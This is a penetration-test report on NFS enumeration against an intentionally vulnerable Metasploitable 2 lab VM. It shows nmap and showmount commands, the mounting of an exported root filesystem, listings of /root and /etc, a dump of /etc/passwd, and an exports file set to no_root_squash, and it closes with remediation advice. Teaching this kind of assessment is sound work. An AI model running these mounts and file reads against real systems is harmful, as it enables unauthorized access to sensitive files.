

RPC/NFS Enumeration

Using Nmap and Linux NFS Utilities

Author: Sudip Bastola

Target System: Metasploitable 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Assessment Date: July 27, 2026

Executive Summary

A security assessment happened in a lab setting to look for RPC and NFS services on the target. The point was to see if the NFS part could reach any sensitive resources from outside.

The checks showed both services were active and the entire root filesystem had been exported to every host on the network. Mounting the share gave access to several important directories along with config files including the exports setup itself.

Further review of that config showed the no root squash option was turned on. This lets a remote root user keep full privileges on the mounted filesystem. It feels like that opens the door to unauthorized changes and could help with privilege escalation if the environment is not secured well. Some parts of the access seemed broader than expected.

Risk Summary Matrix

Metric	Details
Maximum Risk Rating	Critical (9.8/10)
Primary Finding	Insecure NFS Export Configuration
Affected Service	Network File System (NFS)
Exported Resource	Entire Root Files System
Authentication Required	None after network access
Confidentiality Impact	High- Sensitive system files exposed
Integrity Impact	High – Read/Write access to the exported filesystem
Availability Impact	Medium – Unauthorized file modification could impact system stability
Privileges Escalation	Possible due to no_root_squash configuration

Scope and Methodology

The assessment followed a structured penetration testing methodology to identify and analyze the exposed NFS service.

- Reconnaissance
- Scanning & Enumeration
- NFS Enumeration
- Filesystem Analysis
- Security Configuration Review
- Reporting

The assessment utilized Nmap for service discovery, Linux NFS utilities for export enumeration and mounting, and standard Linux commands for filesystem analysis.

Technical Finding and Enumeration Phase

Finding: Insecure NFS Export Configuration

Finding Type: NFS Misconfiguration

Risk Level: Critical

Affected Service: Network File System(NFS)

Step1. Host Discovery

Identified active hosts within the local network.

Command used: nmap -sn <Target_network>

```
(root@kali)-[/home/sudip]
# nmap -sn 192.168.83.1/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 15:13 +0545
Nmap scan report for 192.168.83.1
Host is up (0.0019s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.83.2
Host is up (0.00025s latency).
MAC Address: 00:50:56:E8:C0:9E (VMware)
Nmap scan report for 192.168.83.131
Host is up (0.0012s latency).
MAC Address: 00:0C:29:79:6F:6F (VMware)
Nmap scan report for 192.168.83.254
Host is up (0.00034s latency).
MAC Address: 00:50:56:EB:55:88 (VMware)
Nmap scan report for 192.168.83.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.98 seconds
```

Step2. Service Enumeration

Identified RPC and NFS services are running on the target. Confirmed the availability of RPC Bind and NFS.

Command used: `nmap -sV -sC -p111,2049 <Target_Ip>`

```
(root@kali)-[/home/sudip]
# nmap -sV -sC -p111,2049 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 15:14 +0545
Nmap scan report for 192.168.83.131
Host is up (0.0018s latency).

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2           111/tcp     rpcbind
|   100000   2           111/udp     rpcbind
|   100003   2,3,4       2049/tcp    nfs
|   100003   2,3,4       2049/udp    nfs
|   100005   1,2,3       33505/udp   mountd
|   100005   1,2,3       37907/tcp   mountd
|   100021   1,3,4       39005/udp   nlockmgr
|   100021   1,3,4       50163/tcp   nlockmgr
|   100024   1           52304/udp   status
|   100024   1           59822/tcp   status
2049/tcp  open  nfs      2-4 (RPC #100003)
MAC Address: 00:0C:29:79:6F:6F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds
```

Step3. Enumerating Exported Shares

Enumerated all exported NFS shares.

Command used: `showmount -e <Target_Ip>`

```
(root@kali)-[/home/sudip]
# showmount -e 192.168.83.131
Export list for 192.168.83.131:
/ *
```

Observation: The server exports its entire root file system to every host on the network.

Step4. Mounting the Exported Filesystem

A local mount point was created, and the exported filesystem was mounted successfully using NFS version 3 over TCP.

Commands used:

- `mkdir /mnt/nfs`

```
(root@kali)-[/home/sudip]
# mkdir /mnt/nfs
```

- `mount -t nfs -o vers=3,tcp,nolock <Target_ip>:/ /mnt/nfs`

```
(root@kali)-[/home/sudip]
# mount -t nfs -o vers=3,tcp,nolock 192.168.83.131:/ /mnt/nfs
```

Verification: `mount | grep nfs`

```
(root@kali)-[/home/sudip]
# mount | grep nfs
192.168.83.131:/ on /mnt/nfs type nfs (rw,relatime,vers=3,rsize=65536,wsiz=65536,namlen=255,hard,fatal_nerrors=none,proto=tcp,timeo=600,retrans=2,sec=sy
s,mountaddr=192.168.83.131,mountvers=3,mountport=33505,mountproto=udp,local_lock=none,addr=192.168.83.131)
192.168.83.131:/ on /mnt/nfs type nfs (rw,relatime,vers=3,rsize=65536,wsiz=65536,namlen=255,hard,nolock,fatal_nerrors=none,proto=tcp,timeo=600,retrans=2
,sec=sys,mountaddr=192.168.83.131,mountvers=3,mountport=37907,mountproto=tcp,local_lock=all,addr=192.168.83.131)
```

Observation: The exported root filesystem was successfully mounted on the attacker's machine.

Step5. Filesystem Enumeration

After successfully mounting the exported NFS share, the remote filesystem was examined to identify accessible directories and gather information about the target system.

Commands used:

- `ls -la /mnt/nfs | head`

```
(root@kali)-[/home/sudip]
# ls -la /mnt/nfs | head
total 10640
drwxr-xr-x 21 root root    4096 Jul 14 22:00 .
drwxr-xr-x  3 root root    4096 Jul 27 15:14 ..
drwxr-xr-x  2 root root    4096 May 14  2012 bin
drwxr-xr-x  3 root root    4096 Apr 29  2010 boot
lrwxrwxrwx  1 root root         11 Apr 29  2010 cdrom → media/cdrom
drwxr-xr-x  2 root root    4096 Apr 29  2010 dev
drwxr-xr-x 94 root root    4096 Jul 27 15:07 etc
-rwx----- 1 root root 1188612 Jul  9 12:13 FLTI0ktayp
drwxr-xr-x  6 root root    4096 Apr 16  2010 home
```

- `ls -la /mnt/nfs/root`

```
(root@kali)-[/home/sudip]
# ls -la /mnt/nfs/root
total 76
drwxr-xr-x 13 root root 4096 Jul 27 13:30 .
drwxr-xr-x 21 root root 4096 Jul 14 22:00 ..
lrwxrwxrwx  1 root root    9 May 14  2012 .bash_history → /dev/null
-rw-r--r--  1 root root 2227 Oct 20  2007 .bashrc
drwx----- 3 root root 4096 May 21  2012 .config
drwxr-xr-x  2 root root 4096 May 21  2012 Desktop
drwx----- 2 root root 4096 May 21  2012 .filezilla
drwxr-xr-x  5 root root 4096 Jul 27 13:30 .fluxbox
drwx----- 2 root root 4096 May 21  2012 .gconf
drwx----- 2 root root 4096 May 21  2012 .gconfd
drwxr-xr-x  2 root root 4096 May 21  2012 .gststreamer-0.10
drwx----- 4 root root 4096 May 21  2012 .mozilla
-rw-r--r--  1 root root 141 Oct 20  2007 .profile
drwx----- 5 root root 4096 May 21  2012 .purple
-rwx----- 1 root root 401 May 21  2012 reset_logs.sh
-rwx----- 1 root root    4 May 21  2012 .rhosts
drwxr-xr-x  2 root root 4096 May 21  2012 .ssh
drwx----- 2 root root 4096 Jul 27 13:30 .vnc
-rw-r--r--  1 root root 138 Jul 27 13:30 vnc.log
-rw----- 1 root root 324 Jul 27 13:30 .Xauthority
```

- `ls -la /mnt/nfs/home`

```
(root@kali)-[/home/sudip]
# ls -la /mnt/nfs/home
total 24
drwxr-xr-x  6 root root    4096 Apr 16  2010 .
drwxr-xr-x 21 root root    4096 Jul 14 22:00 ..
drwxr-xr-x  2 root nogroup 4096 Mar 17  2010 ftp
drwxr-xr-x  7 sudip sudip   4096 Jul 11 18:47 msfadmin
drwxr-xr-x  2 1002 1002   4096 Apr 16  2010 service
drwxr-xr-x  3 1001 1001   4096 May  8  2010 user
```

- `ls -la /mnt/nfs/etc`

```
(root@kali)-[/home/sudip]
$ ls -la /mnt/nfs/etc
total 1112
drwxr-xr-x 94 root root      4096 Jul 27 15:19 .
drwxr-xr-x 21 root root      4096 Jul 14 22:00 ..
-rw-r--r--  1 root root     2975 Mar 17 2010 adduser.conf
-rw-r--r--  1 root root      45 Jul 14 08:57 adjtime
-rw-r--r--  1 root root      53 Mar 17 2010 aliases
-rw-r--r--  1 root root    12288 Apr 29 2010 aliases.db
drwxr-xr-x  2 root root    12288 May 21 2012 alternatives
drwxr-xr-x  7 root root      4096 May 21 2012 apache2
drwxr-xr-x  3 root root      4096 Mar 17 2010 apm
drwxr-xr-x  2 root root      4096 Mar 17 2010 apparmor
drwxr-xr-x  6 root root      4096 Mar 17 2010 apparmor.d
drwxr-xr-x  4 root root      4096 Apr 16 2010 apt
-rw-r----- 1 root daemon    144 Feb 20 2007 at.deny
-rw-r--r--  1 root root     1733 Apr 15 2008 bash.bashrc
-rw-r--r--  1 root root    216529 Apr 15 2008 bash_completion
drwxr-xr-x  2 root root      4096 Apr 28 2010 bash_completion.d
drwxr-xr-x  2 root root      4096 Mar 17 2010 belocs
drwxr-sr-x  2 root sslh      4096 Mar 17 2010 bind
-rw-r--r--  1 root root      332 Apr  5 2008 bindresvport.blacklist
-rw-r--r--  1 root root      530 Apr 29 2010 blkid.tab
-rw-r--r--  1 root root      530 Apr 29 2010 blkid.tab.old
drwxr-xr-x  2 root root      4096 Mar 17 2010 calendar
drwxr-s---  2 root dip       4096 Mar 17 2010 chatscripts
drwxr-xr-x  2 root root      4096 Mar 17 2010 console-setup
drwxr-xr-x  2 root root      4096 Mar 17 2010 console-tools
-rw-r--r--  1 root root     1878 May  4 2008 cowpoke.conf
drwxr-xr-x  2 root root      4096 May 14 2012 cron.d
drwxr-xr-x  2 root root      4096 Apr 28 2010 cron.daily
drwxr-xr-x  2 root root      4096 Mar 17 2010 cron.hourly
drwxr-xr-x  2 root root      4096 Apr 28 2010 cron.monthly
-rw-r--r--  1 root root      724 Apr  8 2008 crontab
drwxr-xr-x  2 root root      4096 Mar 17 2010 cron.weekly
drwxr-xr-x  2 root root      4096 Mar  4 2010 cups
-rw-r--r--  1 root root     2969 Mar 11 2008 debconf.conf
-rw-r--r--  1 root root      10 Oct 20 2007 debian_version
drwxr-xr-x  2 root root      4096 May 14 2012 default
drwxr-xr-x  4 root root      4096 Mar 24 2010 defoma
-rw-r--r--  1 root root      600 Oct 23 2007 deluser.conf
drwxr-xr-x  2 root root      4096 Mar 17 2010 depmod.d
-rw-r--r--  1 root root    15280 Apr 28 2010 devscripts.conf
drwxr-xr-x  4 root root      4096 Mar 17 2010 dhcp3
drwxr-xr-x  2 root root      4096 Apr 17 2010 distcc
```

Observation

The mounted export revealed the target's complete Linux filesystem. Standard system directories such as `/bin`, `/boot`, `/dev`, `/etc`, `/home`, `/root`, `/usr`, and `/var` were accessible. Access to these directories confirms that the exported share exposes the root filesystem of the target machine.

The ability to browse configuration files, user home directories, and administrative directories demonstrates that sensitive information can be accessed remotely through the NFS export.

Step6. User Enumeration

System user information was gathered by examining the password database stored on the exported filesystem.

Command used: cat /mnt/nfs/etc/passwd

```
(root@kali)-[/home/sudip]
# cat /mnt/nfs/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002::/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

Observation

The /etc/passwd file contained multiple local user and service accounts, including privileged accounts such as root along with various service accounts. Although password hashes are not stored in this file, the information can assist an attacker during reconnaissance by identifying valid usernames and services present on the system.

Step7. NFS Configuration Analysis

The NFS export configuration was examined to determine how the shared filesystem was configured and to identify any security weaknesses that could increase the impact of unauthorized access.

Command used: cat /mnt/nfs/etc/exports

```
(root@kali)-[/home/sudip]
# cat /mnt/nfs/etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#
/                *(rw,sync,no_root_squash,no_subtree_check)
```

Observation

The exported filesystem was configured with the following options:

- rw – Allows clients to read from and write to the exported filesystem.
- * – Permits any host on the network to mount the export.
- no_root_squash – Preserves root privileges for remote root users instead of mapping them to an unprivileged account.
- no_subtree_check – Disables subtree verification checks for exported directories.

The assessment confirmed that the target system exports its entire root filesystem with unrestricted client access. The presence of the no_root_squash option significantly increases the security risk, as remote clients connecting with root privileges retain those privileges on the exported filesystem.

Remediation and Recommendations

To reduce the risks associated with the exposed NFS service, the following security measures are recommended.

Immediate Actions

- Avoid exporting the entire root filesystem.
- Restrict NFS exports to specific trusted hosts instead of allowing all hosts.
- Remove the `no_root_squash` option unless absolutely necessary.
- Export directories as read-only whenever write access is not required.

Long-term Security Measures

- Configure firewall rules to restrict access to RPC and NFS services.
- Regularly audit `/etc/exports` for insecure configurations.
- Monitor NFS activity using centralized logging and security monitoring solutions.
- Conduct periodic vulnerability assessments and configuration reviews.
- Keep the operating system and NFS services updated with the latest security patches.

Disclaimer

This assessment was performed in a controlled laboratory environment for educational purposes using the intentionally vulnerable Metasploitable 2 virtual machine. All testing was conducted on systems owned or explicitly authorized for assessment. Unauthorized scanning, enumeration, or exploitation of systems without proper authorization is illegal and unethical.